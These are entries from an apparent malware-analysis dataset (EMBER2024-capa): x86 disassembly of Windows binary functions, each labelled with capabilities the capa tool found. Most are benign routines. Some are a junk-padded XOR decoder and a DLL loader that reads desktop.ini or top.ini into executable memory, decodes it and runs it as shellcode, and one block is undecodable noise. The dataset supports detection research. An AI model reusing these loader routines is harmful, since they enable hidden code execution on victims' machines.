joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416e7f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x43e078]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x437a70
push dword [ebp + 0x80]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x460], ebx
mov dword [ebp - 0x470], ebx
call dword [0x64213c]
xor esi, esi
inc esi
test eax, eax
je 0x416ecb
mov dword [ebp - 0x460], esi
push ebx
push 0x437a80
push dword [ebp + 0x80]
call dword [0x64213c]
test eax, eax
je 0x416eed
mov dword [ebp - 0x460], esi
mov dword [ebp - 0x470], esi
cmp dword [ebp - 0x460], ebx
je 0x417013
lea eax, [ebp - 0x74]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x74]
cmp byte [ebp - 0x74], bl
je 0x417083
jmp 0x416f15
xor ebx, ebx
push 0x3e8
lea eax, [ebp - 0x45c]
push ebx
push eax
call fcn.00425490
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x470], ebx
je 0x416f58
cmp eax, 2
jne 0x416f58
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x642258]
mov ebx, str._DRIVE_REMOVABLE_
jmp 0x416f70
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x642258]
mov ebx, str._DRIVE_FIXED_
push esi
lea eax, [ebp - 0x45c]
call fcn.00413d6a
pop ecx
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [0x642258]
mov eax, dword [ebp + 0x8c]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x468], eax
call fcn.00401ced
xor ebx, ebx
push ebx
push dword [ebp + 0xa4]
lea eax, [ebp - 0x45c]
push dword [ebp - 0x460]
push dword [ebp + 0x9c]
push ebx
push dword [ebp + 0x98]
push dword [ebp - 0x46c]
push eax
push dword [ebp - 0x464]
push 0x43767f
push dword [ebp - 0x468]
call fcn.00416a05
add esp, 0x94
push esi
call dword [0x6420c4]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x416f13
jmp 0x417081
mov eax, dword [ebp + 0x80]
mov esi, dword [ebp + 0x8c]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x46c], eax
call fcn.00401ced
xor eax, eax
push eax
push dword [ebp + 0xa4]
push eax
push dword [ebp + 0x9c]
push eax
push dword [ebp + 0x98]
push esi
push dword [ebp - 0x468]
push dword [ebp - 0x464]
push 0x43768d
push dword [ebp - 0x46c]
call fcn.00416a05
add esp, 0x94
xor ebx, ebx
mov eax, dword [ebp - 0x474]
lea esi, [ebp + 0xc]
mov dword [eax], ebx
call fcn.00401cce
lea ecx, [ebp + 0x74]
call fcn.004170aa
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e88c
leave
ret
Function at 0x418be6
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push edi
lea eax, [ebp - 0x48]
call fcn.00418cbf
test byte [0x641ff0], 1
mov eax, dword [ebp + 0x40]
je 0x418c05
mov eax, dword [ebp + 0x44]
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0xc]
lea esi, [ebp - 0x20]
call fcn.004121e9
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp + 0x48]
lea esi, [ebp - 0x44]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call fcn.004121e9
lea eax, [ebp + 0x1c]
lea esi, [ebp - 0x38]
call fcn.004121e9
lea eax, [ebp + 0x28]
lea esi, [ebp - 0x2c]
call fcn.004121e9
mov esi, 0x3e8
jmp 0x418c53
push esi
call dword [0x642038]
cmp dword [0x641ff0], 2
jae 0x418c4c
inc dword [0x641ff0]
cmp dword [0x641fec], edi
je 0x418c78
mov ecx, dword [ebp + 0x18]
push ebx
push dword [ebp + 0xc]
call fcn.0041e4ae
pop ecx
pop ecx
push edi
push edi
lea eax, [ebp - 0x48]
push eax
push 0x418b15
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [ebp + 8]
push 0x437753
call fcn.00412143
lea esi, [ebp - 0x48]
call fcn.00418ce6
lea esi, [ebp + 0x1c]
call fcn.00401cce
mov eax, dword [ebp + 0xc]
call fcn.00402910
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret
Function at 0x4270ae
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43e078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00425fe7
and dword [ebp - 0x14], 0
cmp dword [0x4418ac], 0
mov dword [ebp - 0x18], eax
jne 0x427161
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x427209
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x427209
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4418ac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4418b0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4418b4], eax
call edi
push eax
call esi
mov dword [0x4418bc], eax
test eax, eax
je 0x427161
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4418b8], eax
mov eax, dword [0x4418b8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4271ba
cmp dword [0x4418bc], ecx
je 0x4271ba
push eax
call esi
push dword [0x4418bc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4271ba
test ebx, ebx
je 0x4271ba
call edi
test eax, eax
je 0x4271b1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4271b1
test byte [ebp - 8], 1
jne 0x4271ba
or dword [ebp + 0x10], 0x200000
jmp 0x4271ed
mov eax, dword [0x4418b0]
cmp eax, dword [ebp - 0x18]
je 0x4271ed
push eax
call esi
test eax, eax
je 0x4271ed
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4271ed
mov eax, dword [0x4418b4]
cmp eax, dword [ebp - 0x18]
je 0x4271ed
push eax
call esi
test eax, eax
je 0x4271ed
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4418ac]
call esi
test eax, eax
je 0x427209
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x42720b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e88c
leave
ret
Function at 0x7ffe53c0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
xor eax, ecx
xor eax, ecx
inc esi
dec esi
pushf
popf
inc esi
dec esi
not eax
not eax
add al, 0
xor eax, ecx
xor eax, ecx
inc esi
dec esi
pushf
popf
push eax
pop eax
not eax
not eax
push eax
pop eax
xor eax, ecx
xor eax, ecx
and al, 0xff
add al, 4
sub al, 4
push eax
pop eax
not eax
not eax
inc esi
dec esi
push bx
inc esp
inc esp
push es
pop ds
add al, 4
sub al, 4
push es
pop ds
xor eax, ecx
xor eax, ecx
add al, 0
not eax
not eax
add al, 0
push bx
inc esp
inc esp
cld
call 0x7ffe541e
pop edx
pushf
popf
inc esi
dec esi
inc esi
dec esi
xor dx, dx
add al, 0
push es
pop ds
cld
add edx, 0xd5e0
push eax
pop eax
xor ecx, ecx
and al, 0xff
cld
and al, 0xff
mov cl, 0x1e
add al, 0
xor byte [ecx + edx], 0xf1
loop 0x7ffe5442
add al, 0
not eax
not eax
inc esi
dec esi
cld
push dword fs:[0x24]
inc esi
dec esi
inc esi
dec esi
pop dword [edx + 0xa]
push eax
pop eax
stc
push eax
pop eax
mov cl, 0xff
not eax
not eax
push es
pop ds
push edx
loop 0x7ffe546c
push bx
inc esp
inc esp
add al, 0
cld
mov dword [edx + 0x11], 0xffffacbb
add al, 0
mov ecx, dword [eax + 0x2c]
add al, 0
stc
mov dword [edx + 0x1b], ecx
add al, 0
mov dword [edx + 0x100], ecx
push es
pop ds
not eax
not eax
cld
mov dword [eax + 0x2c], esp
pushf
popf
push eax
pop eax
add al, 0
push 0
push eax
pop eax
nop
push eax
pop eax
push 0
push es
pop ds
push 0
push es
pop ds
push bx
inc esp
inc esp
cld
push 0
add al, 4
sub al, 4
inc esi
dec esi
push 0x30
not eax
not eax
cld
push 0x20
add al, 4
sub al, 4
add al, 0
push 0
push bx
inc esp
inc esp
add eax, 0
push 0
xor eax, ecx
xor eax, ecx
push es
pop ds
push es
pop ds
add edx, 0xffff7f33
nop
push edx
push edx
cld
add al, 0
push 0
call dword [edx + 0x8210]
add al, 4
sub al, 4
inc esi
dec esi
stc
add esp, 0x3f8
push es
pop ds
push bx
inc esp
inc esp
xor eax, eax
clc
push eax
pop eax
inc eax
ret 0xc

Function at 0x7ffe9c50
Capabilities:
Encode data using xor

Disassembly:
and dword [esi], eax
cmp dword [esi], eax
sub byte [eax], dh
cmp byte [edx + 0x36], al
sub edx, dword [ecx]
or byte [esi], ah
and eax, 0x17153d1a
pop ss
sbb byte [ecx], ch
adc dword [eax], edx
cmp byte [ecx], ch
movhps xmm7, qword [esi]
and eax, 0x1c312604
sub esp, dword [edx]
aas
adc al, 0x41
push cs
daa
sbb eax, dword [esi]
xor byte [esi], ch
sub al, 0x26
xor byte [edi], dh
adc dword [eax + esi], edx
inc ecx
and dword [0x733321c], eax
sbb dword [edi], eax
adc al, 0x40
jo 0x7ffe9c12
or al, 0x86
pop es
xchg ebp, eax
push cs
sbb esp, dword [edi]
mov ebx, 0x3ccb1a17
invalid
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401b10
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x543466
mov eax, dword fs:[0]
push eax
sub esp, 0xdc
mov eax, dword [0x5a51c0]
xor eax, esp
mov dword [esp + 0xd4], eax
push esi
push edi
mov eax, dword [0x5a51c0]
xor eax, esp
push eax
lea eax, [esp + 0xe8]
mov dword fs:[0], eax
mov edi, ecx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 8
push eax
mov dword [esp + 0x1c], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, edi
call fcn.00403a8f
push 0
call fcn.0040442c
push 0xc
call fcn.00402f6b
add esp, 8
mov dword [esp + 0x10], eax
mov dword [esp + 0xf0], 0
test eax, eax
je 0x401bb0
xorps xmm0, xmm0
mov ecx, eax
movq qword [eax], xmm0
mov dword [eax + 8], 0
call fcn.004050fd
mov esi, eax
jmp 0x401bb2
xor esi, esi
push 0x554a40
mov dword [esp + 0xf4], 0xffffffff
call fcn.0040cec2
push 0x585e50
mov ecx, edi
call fcn.0041050d
push 0xc0
lea eax, [esp + 0x20]
push 0
push eax
call fcn.0052c640
add esp, 0xc
lea ecx, [esp + 0x1c]
push 0
push 0x66
call fcn.004154e2
mov dword [esp + 0xf0], 1
mov dword [esp + 0x1c], vtable.CLenovoSmartFingerprintIsRunDlg.0
call fcn.00415c60
call fcn.00415c60
push 0x80
mov eax, dword [eax + 0xc]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [esp + 0xd8], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0xf0], 2
mov ecx, eax
mov dword [edi + 0x20], eax
call fcn.00410c86
test esi, esi
je 0x401c4d
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax + 4]
lea ecx, [esp + 0xcc]
mov dword [esp + 0xf0], 4
call fcn.00413a8e
mov byte [esp + 0xf0], 3
lea ecx, [esp + 0xc0]
mov dword [esp + 0xc0], vtable.CBrush.0
call fcn.00402150
lea ecx, [esp + 0x1c]
mov dword [esp + 0xf0], 0xffffffff
call fcn.0041077f
xor eax, eax
mov ecx, dword [esp + 0xe8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0xd4]
xor ecx, esp
call fcn.0052aff2
mov esp, ebp
pop ebp
ret
Function at 0x402670
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5435a8
mov eax, dword fs:[0]
push eax
sub esp, 0x23c
mov eax, dword [0x5a51c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 2
mov dword [ebp - 0x244], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x240], 0x22c
lea eax, [ebp - 0x240]
mov dword [ebp - 0x248], edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
or ebx, 0xffffffff
call fcn.0041236d
mov ecx, eax
xor eax, eax
test ecx, ecx
setne al
test eax, eax
je 0x40289a
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x21c]
mov dword [ebp - 4], 0
test eax, 0xffff0000
jne 0x4027cc
movzx edi, ax
push edi
call fcn.00416712
test eax, eax
je 0x402728
push edi
push eax
lea ecx, [ebp - 0x14]
call fcn.00402cc0
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x248]
mov dword [ebp - 4], 0xffffffff
cmp dword [esi - 0xc], 0
jl 0x40275a
push str.Lenovo_Smart_Fingerprint.exe
push esi
call fcn.0052bbc9
add esp, 8
test eax, eax
je 0x40275a
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x402831
lea eax, [ebp - 0x21c]
push eax
call fcn.0052bb76
mov ecx, eax
add esp, 4
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402770
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.0052bb76
add esp, 4
push eax
call fcn.0052bb2d
add esp, 8
lea eax, [ebp - 0x21c]
mov ecx, str.Lenovo_Smart_Fingerprint.exe
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4027f7
test dx, dx
je 0x4027c8
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4027f7
add eax, 4
add ecx, 4
test dx, dx
jne 0x4027a6
xor eax, eax
jmp 0x4027fc
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4027d0
sub eax, edx
lea ecx, [ebp - 0x14]
sar eax, 1
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.004029d0
mov esi, dword [ebp - 0x14]
jmp 0x40272e
sbb eax, eax
or eax, 1
add esi, 0xfffffff0
test eax, eax
je 0x402856
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x402819
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x240]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4026d5
jmp 0x402876
mov eax, dword [ebp - 0x238]
add esi, 0xfffffff0
mov dword [ebp - 0x244], eax
lea eax, [esi + 0xc]
lock xadd dword [eax], ebx
dec ebx
test ebx, ebx
jg 0x402876
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x402876
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x244], eax
lea eax, [esi + 0xc]
lock xadd dword [eax], ebx
dec ebx
test ebx, ebx
jg 0x402876
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052aff2
mov esp, ebp
pop ebp
ret 4
push 0x80004005
call fcn.00402060
int3
Function at 0x4028f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
movzx eax, ax
mov dword [ebp + 8], eax
pop ebp
jmp fcn.0041091b

Function at 0x402b90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402ba5
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402be4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x402be0
lea ebx, [ebx]
cmp esi, edx
jae 0x402be4
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x402bd0
cmp esi, edx
jb 0x402be9
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret

Function at 0x410977
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.00415c60
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4109ae
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.004109cf
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4184e3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x418528
call fcn.00415c60
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x418528
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x418544
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0048af98
mov ebx, eax
test edi, edi
je 0x418542
test esi, esi
je 0x418542
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4bc504
Capabilities:
Get file system object information

Disassembly:
push 0x4c8
mov eax, 0x54c382
call fcn.0052c1a3
mov ebx, ecx
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.00403781
pop ecx
lea esi, [eax + 0x10]
mov dword [ebp - 0x4d0], esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x4d0]
push 0
push 0x555860
call fcn.004028b0
cmp eax, 0xffffffff
jne 0x4bc5b8
push 0
push 0x5574d0
lea ecx, [ebp - 0x4d0]
call fcn.004028b0
cmp eax, 0xffffffff
jne 0x4bc5b8
push 0
push 0x554204
lea ecx, [ebp - 0x4d0]
call fcn.004028b0
cmp eax, 0xffffffff
jne 0x4bc5b8
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.00403781
pop ecx
lea edi, [eax + 0x10]
mov dword [ebp - 0x4d4], edi
xor ecx, ecx
mov byte [ebp - 4], 1
push ecx
lea eax, [ebp - 0x218]
push eax
push 0x104
push ecx
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
jne 0x4bc594
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x14]
lea ecx, [edi - 0x10]
mov ebx, eax
call fcn.00401ec0
jmp 0x4bc5e7
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x4d0]
call fcn.00402a90
lea ecx, [edi - 0x10]
mov byte [ebp - 4], 0
call fcn.00401ec0
mov esi, dword [ebp - 0x4d0]
push 0x105
push 0x2b4
lea eax, [ebp - 0x4cc]
push eax
push 0
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x4bc5de
mov ebx, dword [ebp - 0x4cc]
jmp 0x4bc5e7
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x14]
mov ebx, eax
lea ecx, [esi - 0x10]
call fcn.00401ec0
mov eax, ebx
call fcn.0052c152
ret

Function at 0x4f47b9
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.0041cce0
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x4f47f5
call fcn.004f49d8
mov dword [esi + 0xc], 1
jmp 0x4f47fa
call fcn.004f49d8
cmp dword [esi], 0
je 0x4f4843
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x4f481d
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.00416446
jmp 0x4f482e
push 0xff
mov ecx, esi
call fcn.00402020
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.004104ac
jmp 0x4f4867
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x4f4867
push dword [esi]
push dword [ebp - 4]
call fcn.0041f4f7
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4f492d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.004f49d8
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x4f4975
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00416446
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.004104ac
jmp 0x4f4980
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041f4f7
pop edi
pop esi
pop ebp
ret 0xc